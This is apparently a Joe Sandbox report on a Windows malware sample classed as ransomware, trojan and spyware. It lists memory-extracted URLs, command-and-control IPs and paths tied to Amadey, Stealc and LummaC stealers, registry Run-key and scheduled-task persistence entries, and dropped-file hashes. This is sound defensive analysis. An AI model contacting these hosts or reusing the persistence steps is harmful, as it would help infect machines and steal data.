https://support.mozilla.org/en-GB/products/firefoxgro.allizom.troppus.	rodda.exe, 0000000C.00000003.14512695628.0000000006997000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14738182154.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14555137876.0000000003AF3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdes	svchost.exe, 00000012.00000003.15044394903.0000027A4097A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/1005824001	926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C30000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/en-GB/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=fire	rodda.exe, 0000000C.00000003.14512695628.0000000006997000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14738182154.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14555137876.0000000003AF3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/:9	926085a3ba.exe, 00000005.00000002.14168270876.000001B530EC3000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164473908.000001B530EC3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://gemini.google.com/app?q=	vg9qcBa.exe, 00000027.00000003.14471723604.000000000373B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://secure.eicar.org/eicar.com.txt	rodda.exe, 0000000C.00000003.14435131152.000000000652E000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14435131152.0000000006516000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14662194345.0000000005B82000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660812805.0000000005B6A000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038D2000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=4Vb3xc8UazdB&a	rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298483583.0000000001280000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-connect.cyou/x	vg9qcBa.exe, 00000027.00000003.14511590204.00000000009D5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/&	rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://help.steampowered.com/en/	rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/r	926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C30000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-connect.cyou/h	vg9qcBa.exe, 00000027.00000003.14623929230.00000000009DF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://output-fog.cyou/api	Selection.com, 00000032.00000002.15607940886.0000000001376000.00000004.00000020.00020000.00000000.sdmp, Selection.com, 00000032.00000002.15608488881.0000000001549000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://output-fog.cyou/llocat	Selection.com, 00000032.00000002.15608136346.00000000013E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/scg	svchost.exe, 00000012.00000003.17161557363.0000027A4093C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17160737874.0000027A4093B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17163760065.0000027A40943000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17161656331.0000027A40941000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-n	rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/;	L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://Passport.NET/STS	svchost.exe, 00000012.00000003.15349727808.0000027A40981000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80600i	svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/apis	L.exe, 0000000E.00000003.14884163005.0000000005B33000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14696136351.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000002.14892851746.0000000005B35000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14819589833.0000000005B33000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14697257454.0000000005B30000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	rodda.exe, 0000000C.00000003.14436086508.0000000006782000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14663533397.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14471723604.000000000373B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sdlc-esd.oracle.com/ESD6/JSCDL/jdk/8u301-b09/d3c52aa6bfa54d3ca74e617f18309292/JavaSetup8u301	rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/apiW	L.exe, 0000000E.00000003.14663022292.0000000005B2A000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14664309915.0000000005B31000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14664141160.0000000005B2A000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B2A000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14774394215.0000000005B2D000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14696136351.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14775410329.0000000005B32000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14697257454.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14663410641.0000000005B2A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-connect.cyou/X	vg9qcBa.exe, 00000027.00000003.14762274085.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000002.14767119960.00000000009DF000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14638130213.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14764857379.00000000009DE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://broadcast.st.dl.eccdnx.com	L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://82.115.223.222/406315a37b75e/	926085a3ba.exe, 00000005.00000002.14168270876.000001B530EF9000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164833179.000001B530EF9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/	TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp, RegAsm.exe, 00000037.00000002.14534841536.000001FC39592000.00000002.00000001.01000000.00000017.sdmp	false		high
http://x1.c.lencr.org/0	rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.c(om/	rodda.exe, 0000000C.00000003.14435027499.0000000006778000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14659798280.0000000005D98000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474230284.000000000372E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
82.115.223.222	unknown	Russian Federation	209821	MIDNET-ASTK-TelecomRU	false
82.115.223.189	unknown	Russian Federation	209821	MIDNET-ASTK-TelecomRU	false
142.250.101.113	unknown	United States	15169	GOOGLEUS	false
142.251.2.84	unknown	United States	15169	GOOGLEUS	false
74.125.137.138	unknown	United States	15169	GOOGLEUS	false
172.67.139.78	unknown	United States	13335	CLOUDFLARENETUS	false
103.21.221.64	unknown	unknown	9905	LINKNET-ID-APLinknetASNID	false
185.199.109.133	unknown	Netherlands	54113	FASTLYUS	false
142.251.2.139	unknown	United States	15169	GOOGLEUS	false
23.66.133.162	unknown	United States	16625	AKAMAI-ASUS	false
104.16.230.132	unknown	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
104.21.10.92	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.101.106	unknown	United States	15169	GOOGLEUS	false
9.9.9.9	unknown	United States	19281	QUAD9-AS-1US	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
74.125.137.84	unknown	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
40.126.62.130	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.251.2.94	unknown	United States	15169	GOOGLEUS	false
142.250.101.101	unknown	United States	15169	GOOGLEUS	false
20.189.173.21	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
208.95.112.1	unknown	United States	53334	TUT-ASUS	false
172.67.160.80	unknown	United States	13335	CLOUDFLARENETUS	false
74.125.137.104	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.101.95	unknown	United States	15169	GOOGLEUS	false
142.250.101.94	unknown	United States	15169	GOOGLEUS	false
142.251.2.101	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.11.20
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1565375
Start date and time:	2024-11-29 17:15:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 21m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected VM Detection
Number of analysed new started processes analysed:	61
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winEXE@130/115@0/32
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe
Execution Graph export aborted for target 926085a3ba.exe, PID 3564 because there are no executed function
Execution Graph export aborted for target L.exe, PID 2716 because there are no executed function
Execution Graph export aborted for target file.exe, PID 2136 because it is empty
Execution Graph export aborted for target rodda.exe, PID 7600 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 2140 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7400 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Skipping network analysis since amount of network traffic is too extensive
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:18:00	API Interceptor	22461461x Sleep call for process: skotes.exe modified
11:18:17	API Interceptor	104x Sleep call for process: rodda.exe modified
11:18:23	API Interceptor	67086x Sleep call for process: L.exe modified
11:18:27	API Interceptor	1x Sleep call for process: WerFault.exe modified
11:18:30	API Interceptor	1x Sleep call for process: 0fVlNye.exe modified
11:18:39	API Interceptor	8x Sleep call for process: vg9qcBa.exe modified
11:18:42	API Interceptor	1x Sleep call for process: VBVEd6f.exe modified
11:18:49	API Interceptor	1x Sleep call for process: RegAsm.exe modified
11:19:21	API Interceptor	2479x Sleep call for process: Selection.com modified
11:19:23	API Interceptor	2724658x Sleep call for process: kreon.exe modified
17:17:42	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
17:18:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 926085a3ba.exe C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe
17:18:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run kreon C:\Users\user\AppData\Local\kreon.exe
17:18:30	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 926085a3ba.exe C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe
17:18:38	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run kreon C:\Users\user\AppData\Local\kreon.exe
17:18:46	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url
17:19:54	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 6bbef8c4b5.exe C:\Users\user\AppData\Local\Temp\1010314001\6bbef8c4b5.exe
17:20:02	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b33b84068d.exe C:\Users\user\AppData\Local\Temp\1010315001\b33b84068d.exe
17:20:10	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7f9e2922de.exe C:\Users\user\AppData\Local\Temp\1010316001\7f9e2922de.exe
17:20:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 454245d14b.exe C:\Users\user\AppData\Local\Temp\1010317001\454245d14b.exe
17:20:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 6bbef8c4b5.exe C:\Users\user\AppData\Local\Temp\1010314001\6bbef8c4b5.exe
17:20:34	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run b33b84068d.exe C:\Users\user\AppData\Local\Temp\1010315001\b33b84068d.exe
17:20:43	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7f9e2922de.exe C:\Users\user\AppData\Local\Temp\1010316001\7f9e2922de.exe
17:20:51	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 454245d14b.exe C:\Users\user\AppData\Local\Temp\1010317001\454245d14b.exe
17:24:17	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

LLM Input / Output

Input	Output
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=6bbef8c4b5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=6bbef8c4b5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://learn.microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=6bbef8c4b5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=6bbef8c4b5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=6bbef8c4b5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=6bbef8c4b5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
82.115.223.222	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	82.115.223.222:8888/8b6a914772ff4cb1bee52d0dcaa5124a/
	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	82.115.223.222:8888/8b6a914772ff4cb1bee52d0dcaa5124a/
	HnJdZm51Xl.exe	Get hash	malicious	Amadey, Clipboard Hijacker	Browse	82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/
	file.exe	Get hash	malicious	Unknown	Browse	82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/
	file.exe	Get hash	malicious	Unknown	Browse	82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/
	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	82.115.223.222:8888/928b54fd677e44be88ba882062f7a296/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MIDNET-ASTK-TelecomRU	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	82.115.223.222
	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	82.115.223.222
	HnJdZm51Xl.exe	Get hash	malicious	Amadey, Clipboard Hijacker	Browse	82.115.223.189
	BWuMwnE7tw.exe	Get hash	malicious	Unknown	Browse	82.115.223.189
	file.exe	Get hash	malicious	Unknown	Browse	82.115.223.189
	file.exe	Get hash	malicious	Unknown	Browse	82.115.223.189
	file.exe	Get hash	malicious	Clipboard Hijacker	Browse	82.115.223.222
	PhysXCooking64.dll.dll	Get hash	malicious	Bazar Loader	Browse	82.115.223.39
	FW3x3p4eZ5.msi	Get hash	malicious	Bazar Loader, BruteRatel	Browse	82.115.223.39
	PhysXCooking64.dll.dll	Get hash	malicious	Bazar Loader, BruteRatel	Browse	82.115.223.39
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Program Files\TaskbarMonitor\Newtonsoft.Json.dll	DeepLSetup.msi	Get hash	malicious	Unknown	Browse
	bootstraper.exe	Get hash	malicious	Unknown	Browse
	FiddlerSetup.5.0.20245.10105-latest.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse
	oFVTW2Uwwk.exe	Get hash	malicious	Unknown	Browse
	vs_BuildTools.zip	Get hash	malicious	Unknown	Browse
	ZOj46Y8Mb1.exe	Get hash	malicious	Unknown	Browse
	Client.Center.for.Configuration.Manager_v1.0.7.2.msi	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.MalwareX-gen.17953.1345.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.MalwareX-gen.17953.1345.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan-Ransom.Win32.Zerber.gkca.4990.15640.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Program Files\TaskbarMonitor\Newtonsoft.Json.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	711952
Entropy (8bit):	5.967185619483575
Encrypted:	false
SSDEEP:	12288:GBja5bBvR8Q0TE2HB0WLmvXbsVG1Gw03RzxNHgKhwFBkjSHXP36RMGy1NqTUO:GBjk38WuBcAbwoA/BkjSHXP36RMG/
MD5:	195FFB7167DB3219B217C4FD439EEDD6
SHA1:	1E76E6099570EDE620B76ED47CF8D03A936D49F8
SHA-256:	E1E27AF7B07EEEDF5CE71A9255F0422816A6FC5849A483C6714E1B472044FA9D
SHA-512:	56EB7F070929B239642DAB729537DDE2C2287BDB852AD9E80B5358C74B14BC2B2DDED910D0E3B6304EA27EB587E5F19DB0A92E1CBAE6A70FB20B4EF05057E4AC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: DeepLSetup.msi, Detection: malicious, Browse Filename: bootstraper.exe, Detection: malicious, Browse Filename: FiddlerSetup.5.0.20245.10105-latest.exe, Detection: malicious, Browse Filename: oFVTW2Uwwk.exe, Detection: malicious, Browse Filename: vs_BuildTools.zip, Detection: malicious, Browse Filename: ZOj46Y8Mb1.exe, Detection: malicious, Browse Filename: Client.Center.for.Configuration.Manager_v1.0.7.2.msi, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.MalwareX-gen.17953.1345.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.MalwareX-gen.17953.1345.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan-Ransom.Win32.Zerber.gkca.4990.15640.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p$?..........." ..0.............B.... ........... ....................... ............`....................................O......................../.......... ...T............................................ ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B................$.......H.......x...(9............................................................(......(....^.(...........%...}....:.(......}....:.(......}......(....:.(......}......{......(......(....:.(......}......{.....(.............}.....(......{.....X.....}......0...........-.~.....~....X....b...aX...X...X..+....b....aX....X.....2.....cY.....cY....cY..\|....(......._..{........+,..{\|....3...{{......(....,...{{.....{}.......-.....0...........-.r...ps....z.o......-.~.....~....

C:\Program Files\TaskbarMonitor\TaskbarMonitor.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe
File Type:	PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1059840
